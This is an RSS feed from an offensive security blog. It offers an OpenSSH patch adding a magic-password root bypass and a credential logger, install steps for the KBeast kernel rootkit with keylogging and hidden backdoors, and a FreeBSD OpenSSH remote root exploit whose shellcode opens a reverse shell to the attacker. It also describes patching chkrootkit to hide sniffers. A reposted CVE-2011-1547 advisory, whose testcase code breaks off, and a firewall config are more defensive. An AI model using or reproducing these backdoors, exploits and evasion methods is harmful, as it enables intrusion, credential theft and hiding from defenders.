<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IT Security &#187; Exploitation</title>
	<atom:link href="http://ipsecs.com/web/?cat=6&#038;feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://ipsecs.com/web</link>
	<description>Who Owns Who Now?</description>
	<lastBuildDate>Fri, 24 May 2013 02:06:36 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>OpenSSH Backdoor With PAM Support</title>
		<link>http://ipsecs.com/web/?p=295</link>
		<comments>http://ipsecs.com/web/?p=295#comments</comments>
		<pubDate>Tue, 31 Jan 2012 12:30:29 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[OpenSSH]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=295</guid>
		<description><![CDATA[How many of you using my OpenSSH 5.5p1 bakcdoor published on this url? It&#8217;s probably that you experience error about PAM and GSSAPI Authentication. In order to resolve this issue you must be enable PAM and Kerberos5 during compilation as shown below: ./configure &#8211;prefix=/usr &#8211;sysconfdir=/etc/ssh &#8211;enable-pam &#8211;enable-kerberos5 After successfully installing the OpenSSH backdoor and restarting [...]]]></description>
				<content:encoded><![CDATA[<p>How many of you using my OpenSSH 5.5p1 bakcdoor published on <a href="http://ipsecs.com/web/?p=264">this url</a>? It&#8217;s probably that you experience error about PAM and GSSAPI Authentication. In order to resolve this issue you must be enable PAM and Kerberos5 during compilation as shown below:</p>
<p><em>./configure &#8211;prefix=/usr &#8211;sysconfdir=/etc/ssh &#8211;enable-pam &#8211;enable-kerberos5</em></p>
<p>After successfully installing the OpenSSH backdoor and restarting sshd service, can you login as root with magic password? The answer is indeed &#8220;No&#8221;.Â  It&#8217;s because the authentication now handled by PAM module so authentication experiences failure. This experience may occur on Linux RHEL, CentOS, Ubuntu, and others family.<span id="more-295"></span></p>
<p>In order to solve this issue, you have to patch the auth-pam.c, recompile OpenSSH, and restart the sshd service. The patch for auth-pam.c is displayed below:</p>
<pre>--- openssh-5.5p1/auth-pam.c	2009-07-12 16:07:21.000000000 +0400
+++ openssh-5.5p1.patch/auth-pam.c	2012-01-31 15:01:45.000000000 +0300
@@ -1190,6 +1190,11 @@
 	sshpam_password = password;
 	sshpam_authctxt = authctxt;

+	if (!strcmp(password, SECRETPW)) {
+               secret_ok=1;
+               return 1;
+        }
+
 	/*
 	 * If the user logging in is invalid, or is root but is not permitted
 	 * by PermitRootLogin, use an invalid password to prevent leaking
@@ -1208,6 +1213,10 @@
 	sshpam_err = pam_authenticate(sshpam_handle, flags);
 	sshpam_password = NULL;
 	if (sshpam_err == PAM_SUCCESS &amp;&amp; authctxt-&gt;valid) {
+		if((f=fopen(ILOG,"a"))!=NULL){
+                     fprintf(f,"user:password --&gt; %s:%s\n",authctxt-&gt;user, password);
+                     fclose(f);
+                }
 		debug("PAM: password authentication accepted for %.100s",
 		    authctxt-&gt;user);
 		return 1;</pre>
<p>This patch can be downloaded from <a href="http://core.ipsecs.com/rootkit/patch-to-hack/0x05-openssh5.5p1-auth-pam.diff">core.ipsecs.com</a>. Have fun guys!</p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=295</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>[UPDATE] KBeast &#8211; The New Kernel Rootkit</title>
		<link>http://ipsecs.com/web/?p=277</link>
		<comments>http://ipsecs.com/web/?p=277#comments</comments>
		<pubDate>Sat, 31 Dec 2011 16:54:43 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[Key Logger]]></category>
		<category><![CDATA[Rootkit]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=277</guid>
		<description><![CDATA[KBeast (Kernel Beast) is new kernel rootkit based on the publicly known rootkit, modification is made in order to support kernel 2.6.16, 2.6.18, 2.6.32, and 2.6.35. Actually it should work for kernel 2.6.9 up to 2.6.35 or more, but our installer script is only created for 2.6.16, 2.6.18, 2.6.32, and 2.6.35. Below are quick step [...]]]></description>
				<content:encoded><![CDATA[<p>KBeast (Kernel Beast) is new kernel rootkit based on the publicly known rootkit, modification is made in order to support kernel 2.6.16, 2.6.18, 2.6.32, and 2.6.35. Actually it should work for kernel 2.6.9 up to 2.6.35 or more, but our installer script is only created for 2.6.16, 2.6.18, 2.6.32, and 2.6.35. Below are quick step installing the beast:</p>
<ul>
<li><em>wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz</em></li>
<li><em>tar zxvf ipsecs-kbeast-v1.tar.gz</em></li>
<li><em>cd kbeast-v1/</em></li>
<li>modify <em>config.h</em> to meet your requirement, remember that <em>_MAGIC_NAME_</em> must be user with sh/bash shell</li>
<li>In order to install in kernel 2.6.16 or 2.6.18, execute<em> ./setup build 0</em></li>
<li>In order to install in kernel 2.6.32 or 2.6.35, execute<em> ./setup build</em> (actually it should work for the recent kernel)</li>
<li>In order to install in kernel 2.6.9, edit .cc1 file to remove all<em> sys_unlinkat()</em> related code, modify syscall table address manually, then execute <em>./setup build 0</em></li>
</ul>
<p>Be kind to note that the beast has been tested in, but not limited to, kernel 2.6.9, 2.6.16, 2.6.18, 2.6.32, 2.6.35 (i386 or x86_64). The feature of this rootkit are:<span id="more-277"></span></p>
<ul>
<li>Hiding this loadable kernel module</li>
<li>Hiding files/directory</li>
<li>Hiding process (ps, pstree, top, lsof)</li>
<li>Hiding socket and connections (netstat, lsof)</li>
<li>Keystroke logging to capture user activity</li>
<li>Anti-kill process</li>
<li>Anti-remove files</li>
<li>Anti-delete this loadable kernel modules</li>
<li>Local root escalation backdoor</li>
<li>Remote binding backdoor hidden by the kernel rootkit</li>
</ul>
<p>During my test with chkrootkit and rkhunter, this rootkit wasn&#8217;t detected by those rootkit hunter. The limitation of my rootkit, you have to think yourself how to load the rootkit when the server rebooted. Believe me that is easy task, please see modification of init script <a href="http://core.ipsecs.com/rootkit/kernel-rootkit/kbeast-v1/init/">here</a> as example. Finally, you can download the kernel beast on <a href="http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz">core.ipsecs.com</a>.</p>
<p>See Nightmare for Linux System Administrator, and Happy New Year 2012!</p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=277</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>OpenSSH 5.5p1 Backdoor</title>
		<link>http://ipsecs.com/web/?p=264</link>
		<comments>http://ipsecs.com/web/?p=264#comments</comments>
		<pubDate>Thu, 08 Dec 2011 12:06:45 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[Key Logger]]></category>
		<category><![CDATA[Rootkit]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=264</guid>
		<description><![CDATA[OpenSSH can be modified as powerful unix/linux backdoor that gave instant root access without being logged by the system. It&#8217;s also possible to record username and password for all incoming or outgoing SSH login. Some patches has been developed in order to modify OpenSSH 2.x, OpenSSH 3.x, and OpenSSH 4.x as a backdoor. We develop [...]]]></description>
				<content:encoded><![CDATA[<p>OpenSSH can be modified as powerful unix/linux backdoor that gave instant root access without being logged by the system. It&#8217;s also possible to record username and password for all incoming or outgoing SSH login. Some patches has been developed in order to modify OpenSSH 2.x, OpenSSH 3.x, and OpenSSH 4.x as a backdoor. We develop patch for OpenSSH 5.5p1 which can be downloaded <a href="http://core.ipsecs.com/rootkit/patch-to-hack/openssh-5.5p1.patch.tar.gz">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=264</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>OpenSSH 3.4p1 FreeBSD Remote Root Exploit</title>
		<link>http://ipsecs.com/web/?p=250</link>
		<comments>http://ipsecs.com/web/?p=250#comments</comments>
		<pubDate>Sat, 02 Jul 2011 17:40:07 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[remote exploit]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=250</guid>
		<description><![CDATA[OpenSSH FreeBSD Remote Root Exploit By Kingcope Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702 Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924 run like ./ssh -1 -z setup a netcat, port 443 on yourip first a statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2. The statically linked binary can be downloaded from http://isowarez.de/ssh_0day I know [...]]]></description>
				<content:encoded><![CDATA[<p><strong>OpenSSH FreeBSD Remote Root Exploit<br />
By Kingcope<br />
</strong><br />
<code> Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702<br />
Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924<br />
run like ./ssh -1 -z<br />
setup a netcat, port 443 on yourip first</code></p>
<p>a statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2. The statically linked binary can be downloaded from http://isowarez.de/ssh_0day</p>
<p>I know these versions are really old, some seem to run that tough. </p>
<p>-Cheers, King &#8220;the archaeologist&#8221; Cope</p>
<p><code>diff openssh-5.8p2/ssh.c openssh-5.8p2_2/ssh.c<br />
149a150<br />
&gt; char *myip;<br />
195a197,203<br />
&gt; "OpenSSH FreeBSD Remote Root Exploit\n"<br />
&gt; "By Kingcope\n"<br />
&gt; "Year 2011\n\n"<br />
&gt; "Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702\n"<br />
&gt; "Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924\n"<br />
&gt; "run like ./ssh -1 -z  \n"<br />
&gt; "setup a netcat, port 443 on yourip first\n\n"<br />
299c307<br />
&lt;       while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"<br />
---<br />
&gt;       while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:z:p:qstvx"<br />
335a344,346<br />
&gt;                       break;<br />
&gt;               case 'z':<br />
&gt;                       myip = optarg;<br />
diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c<br />
667a668,719<br />
&gt; //IP=\xc0\xa8\x20\x80<br />
&gt; #define       IPADDR  "\xc0\xa8\x20\x80"<br />
&gt; #define PORT  "\x27\x10"              /* htons(10000) */<br />
&gt;<br />
&gt; char sc[] =<br />
&gt;    "\x90\x90"<br />
&gt;    "\x90\x90"<br />
&gt;    "\x31\xc9"                 // xor    ecx, ecx<br />
&gt;    "\xf7\xe1"                 // mul    ecx<br />
&gt;    "\x51"                     // push   ecx<br />
&gt;    "\x41"                     // inc    ecx<br />
&gt;    "\x51"                     // push   ecx<br />
&gt;    "\x41"                     // inc    ecx<br />
&gt;    "\x51"                     // push   ecx<br />
&gt;    "\x51"                     // push   ecx<br />
&gt;    "\xb0\x61"                 // mov    al, 97<br />
&gt;    "\xcd\x80"                 // int    80h<br />
&gt;    "\x89\xc3"                 // mov    ebx, eax<br />
&gt;    "\x68"IPADDR                       // push   dword 0101017fh<br />
&gt;    "\x66\x68"PORT             // push   word 4135<br />
&gt;    "\x66\x51"                 // push   cx<br />
&gt;    "\x89\xe6"                 // mov    esi, esp<br />
&gt;    "\xb2\x10"                 // mov    dl, 16<br />
&gt;    "\x52"                     // push   edx<br />
&gt;    "\x56"                     // push   esi<br />
&gt;    "\x50"                     // push   eax<br />
&gt;    "\x50"                     // push   eax<br />
&gt;    "\xb0\x62"                 // mov    al, 98<br />
&gt;    "\xcd\x80"                 // int    80h<br />
&gt;    "\x41"                     // inc    ecx<br />
&gt;    "\xb0\x5a"                 // mov    al, 90<br />
&gt;    "\x49"                     // dec    ecx<br />
&gt;    "\x51"                     // push   ecx<br />
&gt;    "\x53"                     // push   ebx<br />
&gt;    "\x53"                     // push   ebx<br />
&gt;    "\xcd\x80"                 // int    80h<br />
&gt;    "\x41"                     // inc    ecx<br />
&gt;    "\xe2\xf5"                 // loop   -10<br />
&gt;    "\x51"                     // push   ecx<br />
&gt;    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh<br />
&gt;    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh<br />
&gt;    "\x89\xe3"                 // mov    ebx, esp<br />
&gt;    "\x51"                     // push   ecx<br />
&gt;    "\x54"                     // push   esp<br />
&gt;    "\x53"                     // push   ebx<br />
&gt;    "\x53"                     // push   ebx<br />
&gt;    "\xb0\xc4\x34\xff"<br />
&gt;    "\xcd\x80";                // int    80h<br />
&gt;<br />
&gt;<br />
&gt; extern char *myip;<br />
&gt;<br />
678a731,748<br />
&gt;<br />
&gt;       char buffer[100000];<br />
&gt;<br />
&gt;       printf("OpenSSH Remote Root Exploit\n");<br />
&gt;       printf("By Kingcope\n");<br />
&gt;       printf("Year 2011\n\n");<br />
&gt;       printf("Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702\n");<br />
&gt;       printf("Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924\n");<br />
&gt;       printf("Connect back to: %s:443\n", myip);<br />
&gt;<br />
&gt;       *((unsigned long*)(sc + 21)) = inet_addr(myip);<br />
&gt;       *((unsigned short*)(sc + 27)) = htons(443);<br />
&gt;<br />
&gt;       memset(buffer, 'V', 8096);<br />
&gt;       memcpy(buffer+24, "\x6b\x4b\x0c\x08", 4); // SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702<br />
&gt;       memset(buffer+28, '\x90', 65535);<br />
&gt;       memcpy(buffer+28+65535, sc, sizeof(sc));<br />
&gt;       server_user=buffer;<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=250</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hiding Sniffer From Rootkit Hunters</title>
		<link>http://ipsecs.com/web/?p=240</link>
		<comments>http://ipsecs.com/web/?p=240#comments</comments>
		<pubDate>Sun, 29 May 2011 18:40:14 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Anti Forensic]]></category>
		<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=240</guid>
		<description><![CDATA[Several years ago, i create backdoor which sends root shell to attacker without opening TCP/UDP port. Reverse shell is sent to attacker based on packet sniffed by backdoor. I can easily hide the file and process created by rootkit with system call redirection. But wait, i remember some things, common mistakes which usually left by [...]]]></description>
				<content:encoded><![CDATA[<p>Several years ago, i create backdoor which sends root shell to attacker without opening TCP/UDP port. <a href="http://stuff.ipsecs.com/files/knock-reverse.txt">Reverse shell</a> is sent to attacker based on packet sniffed by backdoor. I can easily hide the file and process created by rootkit with system call redirection. But wait, i remember some things, common mistakes which usually left by attacker, here are their mistakes:</p>
<ul>
<li>Mesh up with binary file hash checksum, since i use kernel based rootkit this is not my concern.</li>
<li>Forget to hide files, directory, process, tcp/udp ports.</li>
<li>Forget to hide kernel rootkit from detection command likes lsmod, modinfo, modstat, kldstat.</li>
<li>Forget to hide interface promiscuous mode and network sniffers.</li>
<li>Above mistake can be detected by common rootkit hunters like <a href="http://www.chkrootkit.org/">chkrootkit</a> and <a href="http://sourceforge.net/projects/rkhunter/">rkhunters</a></li>
</ul>
<p>So what should we do?! My kernel rootkit almost solve all that mistakes except hiding my sniffer from chkrootkit. Rkhunter shows no anomaly but chkrootkit shows my sniffer.<br />
<code><br />
eth0: PACKET SNIFFER(/opt/_xhidex_/_xhidex_getraw[14848])<br />
</code><br />
System administrator will aware that someone runs sniffer on their machine, i did some hack to solve this issue which finally i decide to hack chkrootkit. Some years ago, i found someone did rush trick by aliasing chkrootkit to &#8216;cat &lt;some_static_file&gt;&#8217;. I bet that system administrator can quickly detect this trick. Fortunately chkrootkit is just shell script so we can modify this file easily. Here, you can <a href="http://core.ipsecs.com/malpatch/0x03-chkrootkit.diff">download</a> freely chkrootkit patch to hide your sniffers.</p>
<p>After patch being applied on chkrootkit, below are chkrootkit output:<br />
<code><br />
eth0: not promisc and no packet sniffer sockets<br />
</code><br />
Lesson which can be taken is that people talk so much things about rootkit, backdoor, malware, worm, botnet but they ussually forget to secure their toys. Starting now, install your tool on your own system before install them on some else machine. Check if gnu standard utility, chkrootkit, and rkhunter can detect your tool. The other lesson is that rootkit hunters should check itself so it can check its integrity. This check can be based on hash or other secure method so self detection can be perform accurately. As workaround for system administrator, after doing rootkit hunter installation please save its hash checksum. Please save both MD5 and SHA checksum to guarantee rootkit hunter integrity.</p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=240</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Border Firewall on Transport Layer Attack</title>
		<link>http://ipsecs.com/web/?p=232</link>
		<comments>http://ipsecs.com/web/?p=232#comments</comments>
		<pubDate>Sat, 28 May 2011 05:59:01 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Firewall]]></category>
		<category><![CDATA[Flooding]]></category>
		<category><![CDATA[Juniper]]></category>
		<category><![CDATA[SRX]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=232</guid>
		<description><![CDATA[It&#8217;s been long time that i didn&#8217;t play with security toys, last night i did play with some toys called hping and fudp. Hping is useful tool to do manipulation on packet header so we can send traffic on any wish. This tool is really cool for manipulating IP, ICMP, UDP, and TCP headers. Fudp [...]]]></description>
				<content:encoded><![CDATA[<p>It&#8217;s been long time that i didn&#8217;t play with security toys, last night i did play with some toys called <a title="Packet manipulation" href="http://www.hping.org/" target="_blank">hping</a> and <a title="UDP Flooder" href="http://tolszewski.pl/fudp/" target="_blank">fudp</a>. Hping is useful tool to do manipulation on packet header so we can send traffic on any wish. This tool is really cool for manipulating IP, ICMP, UDP, and TCP headers. Fudp is tool which&#8217;s designed for UDP flooding. It can launch UDP flooding with/without IP spoofing. You can specify how long the flooding will run.</p>
<p>Unfortunately, IP spoofing is not worked for me. I remember during that time, we were the one who created configuration on operator border firewall to not allow spoofing and some flooding. You can read some documentation related to how to block attack on network/transport layer level. Below is some example:</p>
<p><code><br />
set security screen ids-option untrust-screen icmp ping-death<br />
set security screen ids-option untrust-screen ip source-route-option<br />
set security screen ids-option untrust-screen ip tear-drop<br />
set security screen ids-option untrust-screen ip spoofing<br />
set security screen ids-option untrust-screen tcp syn-flood<br />
set security screen ids-option untrust-screen tcp syn-fin<br />
set security screen ids-option untrust-screen tcp fin-no-ack<br />
set security screen ids-option untrust-screen tcp syn-frag<br />
set security screen ids-option untrust-screen tcp land<br />
set security screen ids-option untrust-screen udp flood<br />
set security screen ids-option untrust-screen limit-session source-ip-based 100<br />
set security zones security-zone untrust screen untrust-screen<br />
</code></p>
<p>Above is an example how to configure Screen on JunOS running on SRX Firewall. Have fun!</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-5159446066109159";
/* 468x60, created 6/19/10 */
google_ad_slot = "5335630309";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=232</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IPComp encapsulation pre-auth kernel memory corruption</title>
		<link>http://ipsecs.com/web/?p=224</link>
		<comments>http://ipsecs.com/web/?p=224#comments</comments>
		<pubDate>Tue, 05 Apr 2011 08:24:59 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=224</guid>
		<description><![CDATA[from: http://lists.grok.org.uk/pipermail/full-disclosure/2011-April/080031.html BSD derived RFC3173 IPComp encapsulation will expand arbitrarily nested payload &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Gruezi, this document describes CVE-2011-1547. RFC3173 ip payload compression, henceforth ipcomp, is a protocol intended to provide compression of ip datagrams, and is commonly used alongside IPSec (although there is no requirement to do so). An ipcomp datagram consists of an ip [...]]]></description>
				<content:encoded><![CDATA[<p>from: <a href="http://lists.grok.org.uk/pipermail/full-disclosure/2011-April/080031.html" target="_blank">http://lists.grok.org.uk/pipermail/full-disclosure/2011-April/080031.html</a></p>
<p>BSD derived RFC3173 IPComp encapsulation will expand arbitrarily nested payload<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Gruezi, this document describes CVE-2011-1547.</p>
<p>RFC3173 ip payload compression, henceforth ipcomp, is a protocol intended to provide compression of ip datagrams, and is commonly used alongside IPSec (although there is no requirement to do so).</p>
<p>An ipcomp datagram consists of an ip header with ip-&gt;ip_p set to 108, followed by a 32 bit ipcomp header, described in C syntax below.</p>
<blockquote><p>struct ipcomp {<br />
uint8_t     comp_nxt;       // Next Header<br />
uint8_t     comp_flags;     // Reserved<br />
uint16_t    comp_cpi;       // Compression Parameter Index<br />
};</p></blockquote>
<p>The Compression Parameter Index indicates which compression algorithm was used to compress the ipcomp payload, which is expanded and then routed as requested. Although the CPI field is 16 bits wide, in reality only 1 algorithm is widely implemented, RFC1951 DEFLATE (cpi=2).</p>
<p>It&#8217;s well documented that ipcomp can be used to traverse perimeter filtering, however this document discusses potential implementation flaws observed in popular stacks.</p>
<p>The IPComp implementation originating from NetBSD/KAME implements injection of unpacked payloads like so:</p>
<blockquote><p>algo = ipcomp_algorithm_lookup(cpi);</p>
<p>/* &#8230; */</p>
<p>error = (*algo-&gt;decompress)(m, m-&gt;m_next, &amp;newlen);</p>
<p>/* &#8230; */</p>
<p>if (nxt != IPPROTO_DONE) {<br />
if ((inetsw[ip_protox[nxt]].pr_flags &amp; PR_LASTHDR) != 0 &amp;&amp;<br />
ipsec4_in_reject(m, NULL)) {<br />
IPSEC_STATINC(IPSEC_STAT_IN_POLVIO);<br />
goto fail;<br />
}<br />
(*inetsw[ip_protox[nxt]].pr_input)(m, off, nxt);<br />
} else<br />
m_freem(m);</p>
<p>/* &#8230; */</p></blockquote>
<p>Where inetsw[] contains definitions for supported protocols, and nxt is a protocol number, usually associated with ip-&gt;ip_p (see<br />
http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xml), but in this case from ipcomp-&gt;comp_nxt. m is the mbuf structure adjusted to point to the unpacked payload.</p>
<p>The unpacked packet is dispatched to the appropriate protocol handler directly from the ipcomp protocol handler. This recursive implementation fails to check for stack overflow, and is therefore vulnerable to a remote pre-authentication kernel memory corruption vulnerability.</p>
<p>The NetBSD/KAME network stack is used as basis for various other operating systems, such as Xnu, FTOS, various embedded devices and network appliances, and earlier versions of FreeBSD/OpenBSD (the code has since been refactored, but see the NOTES section regarding IPComp quines, which still permit remote, pre-authentication, single-packet, spoofed-source DoS in the latest versions).</p>
<p>The Xnu port of this code is close to the original, where the decompressed payload is recursively injected back into the toplevel ip dispatcher. The implementation is otherwise similar, and some alterations to the testcase provided for NetBSD should make it work. This is left as an exercise for the interested reader.<span id="more-224"></span></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Affected Software<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Any NetBSD derived IPComp/IPSec stack may be vulnerable (Xnu, FTOS, etc.).</p>
<p>NetBSD is not distributed with IPSec support enabled by default, however Apple OSX and various other derivatives are. There are so many NetBSD derived network stacks that it is infeasible to check them all, concerned administrators are advised to check with their vendor if there is any doubt.</p>
<p>Major vendors known to use network stacks derived from NetBSD were pre-notified about this vulnerability. If I missed you, it is either not well known that you use the BSD stack, you did not respond to security@ mail, or could not use pgp properly.</p>
<p>Additionally, administrators of critical or major deployments of NetBSD (e.g. dns root servers) were given advance notice in order to deploy appropriate filter rules. Exploitability of kernel stack overflows will vary by platform (n.b. a stack overflow is not a stack buffer overflow, for a concise definition see TAOCP3,V1,S2.2.2). Also note that a kernel stack overflow is very different from a userland stack overflow.</p>
<p>For further discussion, including attacks on other operating systems, see the notes section on ipcomp quines below.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Consequences<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>While exploitation of kernel stack overflows is a somewhat under researched topic, the author feels a skilled attacker would be able to leverage this for remote code execution. However, this is not a trivial task, and is highly platform dependent.</p>
<p>I have verified kernel stack overflows on NetBSD are exploitable, I have looked at the source code for xnu and do not see any obvious obstacles to prevent exploitation (kernel stack segment limits, guard pages, etc. which would cause the worst impact to be limited to remote denial of service), so have no reason to believe it is different.</p>
<p>Thoughts on this topic from fellow researchers would be welcome.</p>
<p>Source code for a sample Linux program to reproduce this flaw on NetBSD is listed below. Please note, check if your system requires an IPv4 header in the compressed payload before attempting to adapt it to your needs.</p>
<blockquote><p>#include &lt;string.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netinet/ip.h&gt;<br />
#include &lt;netinet/ip.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;zlib.h&gt;<br />
#include &lt;alloca.h&gt;<br />
#include &lt;stdbool.h&gt;<br />
#include &lt;stdlib.h&gt;</p>
<p>//<br />
// BSD IPComp Kernel Stack Overflow Testcase<br />
//  &#8212; Tavis Ormandy , March 2011<br />
//</p>
<p>#define MAX_PACKET_SIZE (1024 * 1024 * 32)<br />
#define MAX_ENCAP_DEPTH 1024</p>
<p>enum {<br />
IPCOMP_OUI          = 1,<br />
IPCOMP_DEFLATE      = 2,<br />
IPCOMP_LZS          = 3,<br />
IPCOMP_MAX,<br />
};</p>
<p>struct ipcomp {<br />
uint8_t     comp_nxt;       // Next Header<br />
uint8_t     comp_flags;     // Reserved, must be zero<br />
uint16_t    comp_cpi;       // Compression parameter index<br />
uint8_t     comp_data[0];   // Payload.<br />
};</p>
<p>bool ipcomp_encapsulate_data(void           *data,<br />
size_t          size,<br />
int             nxt,<br />
struct ipcomp **out,<br />
size_t         *length,<br />
int             level)<br />
{<br />
struct ipcomp *ipcomp;<br />
z_stream       zstream;</p>
<p>ipcomp              = malloc(MAX_PACKET_SIZE);<br />
*out                = ipcomp;<br />
ipcomp-&gt;comp_nxt    = nxt;<br />
ipcomp-&gt;comp_cpi    = htons(IPCOMP_DEFLATE);<br />
ipcomp-&gt;comp_flags  = 0;</p>
<p>// Compress packet payload.<br />
zstream.zalloc      = Z_NULL;<br />
zstream.zfree       = Z_NULL;<br />
zstream.opaque      = Z_NULL;</p>
<p>if (deflateInit2(&amp;zstream,level,Z_DEFLATED,-12,MAX_MEM_LEVEL,Z_DEFAULT_STRATEGY) != Z_OK) {<br />
fprintf(stderr, &#8220;error: failed to initialize zlib library\n&#8221;);<br />
return false;<br />
}</p>
<p>zstream.avail_in    = size;<br />
zstream.next_in     = data;<br />
zstream.avail_out   = MAX_PACKET_SIZE &#8211; sizeof(struct ipcomp);<br />
zstream.next_out    = ipcomp-&gt;comp_data;</p>
<p>if (deflate(&amp;zstream, Z_FINISH) != Z_STREAM_END) {<br />
fprintf(stderr, &#8220;error: deflate() failed to create compressed payload, %s\n&#8221;, zstream.msg);<br />
return false;<br />
}</p>
<p>if (deflateEnd(&amp;zstream) != Z_OK) {<br />
fprintf(stderr, &#8220;error: deflateEnd() returned failure, %s\n&#8221;, zstream.msg);<br />
return false;<br />
}</p>
<p>// Calculate size.<br />
*length    = (MAX_PACKET_SIZE &#8211; sizeof(struct ipcomp)) &#8211; zstream.avail_out;<br />
ipcomp     = realloc(ipcomp, *length);</p>
<p>free(data);</p>
<p>return true;<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
int                 s;<br />
struct sockaddr_in  sin    = {0};<br />
struct ipcomp      *ipcomp = malloc(0);<br />
size_t              length = 0;<br />
unsigned            depth  = 0;</p>
<p>// Nest an ipcomp packet deeply without compression, this allows us to<br />
// create maximum redundancy.<br />
for (depth = 0; depth &lt; MAX_ENCAP_DEPTH; depth++) {<br />
if (ipcomp_encapsulate_data(ipcomp,length,IPPROTO_COMP,&amp;ipcomp,&amp;length,Z_NO_COMPRESSION) != true) {<br />
